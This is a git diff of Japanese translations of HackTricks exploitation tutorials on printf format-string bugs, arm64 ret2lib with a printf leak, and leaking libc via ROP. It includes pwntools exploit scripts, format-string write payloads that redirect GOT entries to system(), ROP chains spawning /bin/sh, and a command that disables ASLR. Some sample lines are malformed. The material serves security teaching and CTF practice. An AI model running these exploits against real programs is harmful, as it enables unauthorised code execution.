* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
C言語では、**`printf`**は文字列を**表示**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。期待される**次のパラメータ**は、生のテキストから**フォーマッタを置換する値**です。 Cの**`printf`**は、いくつかの文字列を**出力**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッターを含む生のテキスト**です。**次のパラメータ**として期待されるのは、**生のテキストからフォーマッターを**置き換えるための**値**です。
他の脆弱な関数には**`sprintf()`**と**`fprintf()`**があります。 他の脆弱な関数には**`sprintf()`**と**`fprintf()`**があります。
脆弱性が発生するのは、この関数の**最初の引数として攻撃者のテキスト**が使用された場合です。攻撃者は、**printfフォーマット文字列の機能を悪用**して、**任意のアドレス(読み取り可能/書き込み可能)のデータを読み取りおよび書き込み**する**特別な入力**を作成できます。これにより、**任意のコードを実行**できるようになります。 脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使用されるとき**に現れます。攻撃者は、**printfフォーマット**文字列の機能を悪用して、**任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書き**するための**特別な入力を作成**することができます。この方法で**任意のコードを実行**することが可能です。
#### フォーマッタ: #### フォーマッタ
```bash ```bash
%08x —> 8 hex bytes %08x —> 8 hex bytes
%d —> Entire %d —> Entire
@ -33,18 +36,18 @@ C言語では、**`printf`**は文字列を**表示**するために使用でき
``` ```
**例:** **例:**
* 脆弱性のある例: * 脆弱例:
```c ```c
char buffer[30]; char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions. gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack. printf(buffer); // If buffer contains "%x", it reads from the stack.
``` ```
* 通常の使用方法: * 通常の使用:
```c ```c
int value = 1205; int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
``` ```
* 不足している引数を使用した場合: * 引数が欠落している場合:
```c ```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack. printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
``` ```
@ -63,27 +66,27 @@ return 0;
``` ```
### **ポインタへのアクセス** ### **ポインタへのアクセス**
フォーマット**`%<n>$x`**は、`n`が数字である場合、printfにn番目のパラメータスタックからを選択させることができます。したがって、printfを使用してスタックから4番目のパラメータを読み取りたい場合は、次のようにします: フォーマット **`%<n>$x`** は、`n` が数字である場合、printf にスタックから n 番目のパラメータを選択するよう指示します。したがって、printf を使用してスタックから 4 番目のパラメータを読み取りたい場合は、次のようにできます:
```c ```c
printf("%x %x %x %x") printf("%x %x %x %x")
``` ```
そして、最初から4番目のパラメータまで読み取ることができます。 そして、最初から4番目のパラメータまで読み取ることができます。
または、次のようにすることもできます: または、次のようにすることもできます
```c ```c
printf("$4%x") printf("$4%x")
``` ```
そして、4番目を直接読み取ります。 and read directly the forth.
攻撃者が`pr`**`intf`パラメータを制御していることに注意してください。** これは基本的に、`printf`が呼び出されるときにスタックに彼の入力があることを意味し、つまり、彼はスタックに特定のメモリアドレスを書き込むことができます。 攻撃者が `pr`**`intf` パラメータを制御していることに注意してください。これは基本的に、**彼の入力が `printf` が呼び出されるときにスタックに存在することを意味し、特定のメモリアドレスをスタックに書き込むことができることを意味します。**
{% hint style="danger" %} {% hint style="danger" %}
この入力を制御する攻撃者は、**スタックに任意のアドレスを追加し、`printf`がそれにアクセスする**ことができます。次のセクションでは、この動作の使用方法について説明します。 この入力を制御する攻撃者は、**スタックに任意のアドレスを追加し、`printf` がそれにアクセスできるようにします**。次のセクションでは、この動作をどのように利用するかが説明されます。
{% endhint %} {% endhint %}
## **任意の読み取り** ## **任意の読み取り**
フォーマッタ**`%n$s`**を使用して、**`printf`**が**n番目にあるアドレス**を取得し、それに続いて**文字列として出力**することが可能です0x00が見つかるまで出力。したがって、バイナリのベースアドレスが**`0x8048000`**であり、ユーザー入力がスタックの4番目の位置から始まることを知っている場合、バイナリの先頭を次のように出力できます: フォーマッタ **`%n$s`** を使用して、**`printf`** が **n 番目の位置にある** **アドレス** を取得し、それを **文字列のように印刷する**0x00 が見つかるまで印刷する)ことが可能です。したがって、バイナリのベースアドレスが **`0x8048000`** であり、ユーザー入力がスタックの 4 番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます:
```python ```python
from pwn import * from pwn import *
@ -97,16 +100,16 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
``` ```
{% hint style="danger" %} {% hint style="danger" %}
アドレス0x8048000を入力の先頭に置くことはできません。なぜなら、そのアドレスの末尾には0x00が連結されるからです。 アドレス0x8048000を入力の最初に置くことはできません。なぜなら、そのアドレスの最後に0x00で文字列が切られるからです。
{% endhint %} {% endhint %}
### オフセットの検索 ### オフセットを見つける
入力のオフセットを見つけるために、4バイトまたは8バイト`0x41414141`)を送信し、**`%1$x`** に続けて値を**増やして**いき、`A's` を取得します 入力のオフセットを見つけるために、4または8バイト`0x41414141`)を送信し、その後に**`%1$x`**を続けて、`A`を取得するまで値を**増やします**
<details> <details>
<summary>Brute Force printf offset</summary> <summary>ブルートフォースprintfオフセット</summary>
```python ```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -137,44 +140,44 @@ p.close()
``` ```
</details> </details>
### 有用性 ### どれほど役立つか
任意読み取りは以下のように役立つことがあります: 任意の読み取りは以下に役立ちます:
- メモリから**バイナリ**を**ダンプ**する * **メモリから** **バイナリ**を**ダンプ**する
- キャナリー、暗号キー、またはカスタムパスワードなどの**機密情報が格納されているメモリの特定の部分にアクセスする**(この[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)でのように * **機密情報が保存されているメモリの特定の部分にアクセスする**カナリア、暗号化キー、またはこの[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)のようなカスタムパスワードなど
## **任意書き込み** ## **任意書き込み**
フォーマッタ **`$<num>%n`** は、スタック内の\<num>パラメータで指定されたアドレスに**書き込まれたバイト数**を書き込みます。攻撃者がprintfで好きなだけ文字を書き込める場合、**`$<num>%n`** を使用して任意の数値を任意のアドレスに書き込むことができます。 フォーマッタ **`$<num>%n`** は、スタックの\<num>パラメータにある**指定されたアドレス**に**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`$<num>%n`** を使って任意のアドレスに任意の数を**書き込む**ことができます。
幸いなことに、数値9999を書き込むには、入力に9999個の"A"を追加する必要はありません。そのためには、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`num`の位置で指定されたアドレスに数値`<num-write>`**を書き込むことができます。 幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`<num-write>`**という数**`num`位置が指すアドレスに書き込む**ことが可能です。
```bash ```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500 AAAA.%500\$08x —> Param at offset 500
``` ```
しかしながら、通常、`0x08049724` のようなアドレスを書くために(これは一度に書くには巨大な数です)、**`$n`** の代わりに **`$hn`** が使用されます。これにより、**2 バイトだけを書く**ことができます。したがって、この操作はアドレスの上位 2 バイトと下位 2 バイトの両方に対して 2 回行われます。 しかし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が**`$n`**の代わりに使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。
したがって、この脆弱性により、**任意のアドレスに任意のデータを書き込むことが可能**です。 したがって、この脆弱性は**任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。**
この例では、後で呼び出される **GOT テーブル**内の **関数**の **アドレス**を **上書き** することが目標となります。これにより他の任意の書き込みを実行するテクニックを悪用できます: この例では、目標は**後で呼び出される**関数の**アドレス**を**上書き**することです。これは他の任意書き込みからexec技術を悪用する可能性があります
{% content-ref url="../arbitrary-write-2-exec/" %} {% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/) [arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %} {% endcontent-ref %}
**ユーザー**から **引数**を **受け取る関数**の **アドレス**を **`system` 関数**に **ポイント** させます。\ 私たちは、**ユーザー**から**引数**を**受け取る**関数を**上書き**し、それを**`system`**関数に**ポイント**します。\
前述のように、アドレスを書き込むには通常 2 ステップが必要です: まず、アドレスの 2 バイトを書き込み、その後残りの 2 バイトを書き込みます。これには **`$hn`** が使用されます。 前述のように、アドレスを書くためには通常2ステップが必要です最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。
* **HOB** はアドレスの上位 2 バイトを指します * **HOB**はアドレスの上位2バイトに呼び出されます
* **LOB** はアドレスの下位 2 バイトを指します * **LOB**はアドレスの下位2バイトに呼び出されます
その後、フォーマット文字列の動作により、\[HOB、LOB] のうち **小さい方を最初に書き込む** 必要があります。 次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**、その後にもう一方を書きます。
HOB < LOB の場合\ もしHOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
HOB > LOB の場合\ もしHOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
@ -185,15 +188,15 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
``` ```
{% endcode %} {% endcode %}
### Pwntoolsテンプレート ### Pwntools テンプレート
この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**を以下で見つけることができます: この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は以下にあります:
{% content-ref url="format-strings-template.md" %} {% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md) [format-strings-template.md](format-strings-template.md)
{% endcontent-ref %} {% endcontent-ref %}
または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)からの基本的な例: または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)の基本的な例もあります:
```python ```python
from pwn import * from pwn import *
@ -212,9 +215,9 @@ p.sendline('/bin/sh')
p.interactive() p.interactive()
``` ```
## バイナリオーバーフローへのフォーマット文字列 ## フォーマット文字列からBOFへ
フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込み**、**バッファオーバーフロー**タイプの脆弱性を悪用することが可能です。 フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込む**ことが可能であり、**バッファオーバーフロー**タイプの脆弱性を悪用することができます。
## その他の例と参考文献 ## その他の例と参考文献
@ -222,8 +225,23 @@ p.interactive()
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) * [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) * [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32ビット、relroなし、canaryなし、nx、pieなし、フォーマット文字列を使用してスタックからフラグをリークする基本的な使用例(実行フローを変更する必要はありません) * 32ビット、relroなし、canaryなし、nx、pieなし、スタックからフラグを漏洩させるためのフォーマット文字列の基本的な使用(実行フローを変更する必要はありません)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して`fflush`のアドレスをwin関数ret2winで上書きする * 32ビット、relroあり、canaryなし、nx、pieなし、win関数で`fflush`のアドレスを上書きするためのフォーマット文字列ret2win
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して、`.fini_array`内のmain内のアドレスを書き込みフローが1回追加でループする、`system`のアドレスを`strlen`を指すGOTテーブルに書き込みます。フローがmainに戻ると、ユーザー入力で`strlen`が実行され、`system`を指すようになり、渡されたコマンドが実行されます。 * 32ビット、relroあり、canaryなし、nx、pieなし、`.fini_array`内のmainのアドレスに書き込むためのフォーマット文字列フローがもう1回ループバックするようにおよび`strlen`を指すGOTテーブル内の`system`へのアドレスを書き込む。フローがmainに戻ると、`strlen`がユーザー入力で実行され、`system`を指すと、渡されたコマンドが実行されます。
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Ret2lib + Printf leak - arm64 # Ret2lib + Printf leak - arm64
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %}
## Ret2lib - NXバイパスとROPを使用したASLRなし ## Ret2lib - ROPを使用したNXバイパスASLRなし
```c ```c
#include <stdio.h> #include <stdio.h>
@ -31,7 +32,7 @@ printfleak();
bof(); bof();
} }
``` ```
コンパイル時にキャナリアを無効にする: コンパイル時にナリアを無効にする:
```bash ```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr # Disable aslr
@ -41,29 +42,29 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
### x30 オフセット ### x30 オフセット
**`pattern create 200`** を使用してパターンを作成し、それを使用して **`pattern search $x30`** でオフセットを確認すると、オフセットは **`108`** (0x6c) であることがわかります。 **`pattern create 200`** を使ってパターンを作成し、**`pattern search $x30`** でオフセットを確認すると、オフセットは **`108`** (0x6c) であることがわかります。
<figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
メイン関数のディスアセンブルを見ると、バイナリがロードされた場所から **`printf`** に直接ジャンプする命令に **ジャンプ** したいということがわかります。`0x860` です。 分解されたメイン関数を見てみると、**`printf`** に直接ジャンプする命令に**ジャンプ**したいことがわかります。そのオフセットはバイナリがロードされる場所から **`0x860`** です:
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
### system と `/bin/sh` 文字列を見つける ### system と `/bin/sh` 文字列を見つける
ASLR が無効になっているため、アドレスは常に同じになります ASLR が無効になっているため、アドレスは常に同じになります
<figure><img src="../../../.gitbook/assets/image (1222).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1222).png" alt=""><figcaption></figcaption></figure>
### ガジェットを見つける ### ガジェットを見つける
**`x0`** に文字列 **`/bin/sh`** のアドレスを入れ、**`system`** を呼び出す必要があります。 **`x0`** に **`/bin/sh`** 文字列のアドレスを持たせ、**`system`** を呼び出す必要があります。
Rooper を使用して興味深いガジェットが見つかりました: rooper を使用して、興味深いガジェットが見つかりました:
``` ```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
``` ```
このガジェットは、`$sp + 0x18` から `x0` をロードし、次に x29 と x30 のアドレスを sp からロードして x30 にジャンプします。したがって、このガジェットを使用して**最初の引数を制御し、その後 system にジャンプ**することができます。 このガジェットは、**`$sp + 0x18`** から `x0` をロードし、その後 `sp` から x29 と x30 のアドレスをロードして x30 にジャンプします。したがって、このガジェットを使用すると、**最初の引数を制御し、その後 system にジャンプできます**
### Exploit ### Exploit
```python ```python
@ -95,7 +96,7 @@ p.sendline(payload)
p.interactive() p.interactive()
p.close() p.close()
``` ```
## Ret2lib - NX、ASLRおよびPIEバイパスとprintfリークからのスタッ ## Ret2lib - NX, ASL & PIE バイパスとスタックからの printf リー
```c ```c
#include <stdio.h> #include <stdio.h>
@ -121,44 +122,44 @@ bof();
} }
``` ```
**キャナリアなしでコンパイル**: **ナリアなしでコンパイル**:
```bash ```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security clang -o rop rop.c -fno-stack-protector -Wno-format-security
``` ```
### PIEとASLRが有効だが、キャナリは無効 ### PIEとASLRだがカナリアなし
* ラウンド1: * ラウンド1:
* スタックからPIEのリーク * スタックからPIEのリーク
* バッファオーバーフローを悪用してmainに戻る * メインに戻るためにbofを悪用
* ラウンド2: * ラウンド2:
* スタックからlibcのリーク * スタックからlibcのリーク
* ROP: ret2system * ROP: ret2system
### Printfリーク ### Printfリーク
printfを呼び出す前にブレークポイントを設定すると、スタックにバイナリに戻るアドレスとlibcのアドレスがあることがわかります: printfを呼び出す前にブレークポイントを設定すると、スタックにバイナリに戻るためのアドレスとlibcのアドレスがあることがわかります:
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
異なるオフセットを試すと、**`%21$p`** はバイナリアドレスをリークできPIEバイパス、**`%25$p`** はlibcアドレスをリークできます: 異なるオフセットを試すと、**`%21$p`**はバイナリアドレスPIEバイパスをリークし、**`%25$p`**はlibcアドレスをリークできます:
<figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
リークしたlibcアドレスからlibcのベースアドレスを引くと、**リークしたアドレスのベースからのオフセットは `0x49c40` であることがわかります。** リークされたlibcアドレスからlibcのベースアドレスを引くと、**リークされたアドレスのベースからの**オフセットは`0x49c40`であることがわかります。
### x30オフセット ### x30オフセット
前の例と同じく、bofが同じであることを確認します bofが同じであるため、前の例を参照してください
### ガジェットの検索 ### ガジェットを見つける
前の例と同様に、**`x0`** に文字列 **`/bin/sh`** のアドレスを持ち、**`system`** を呼び出す必要があります。 前の例と同様に、**`x0`**に文字列**`/bin/sh`**のアドレスを持ち、**`system`**を呼び出す必要があります。
rooperを使用して、別の興味深いガジェットが見つかりました: rooperを使用して、別の興味深いガジェットが見つかりました:
``` ```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
``` ```
このガジェットは、`$sp + 0x78` から `x0` をロードし、次に `sp` からアドレス x29 と x30 をロードして x30 にジャンプします。したがって、このガジェットを使用して**最初の引数を制御し、その後 system にジャンプ**することができます。 このガジェットは、**`$sp + 0x78`** から `x0` をロードし、その後 `sp` から x29 と x30 のアドレスをロードして x30 にジャンプします。したがって、このガジェットを使用すると、**最初の引数を制御し、その後 system にジャンプすることができます**
### Exploit ### Exploit
```python ```python
@ -210,16 +211,17 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリ。
</details> </details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# ROPを使用してlibcアドレスをリークする # ROPを使用したlibcアドレスの漏洩
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>からAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
{% endhint %}
## クイックリサーム ## 簡単な要約
1. **オーバーフローのオフセット**見つける 1. **オーバーフローの**オフセット**見つける**
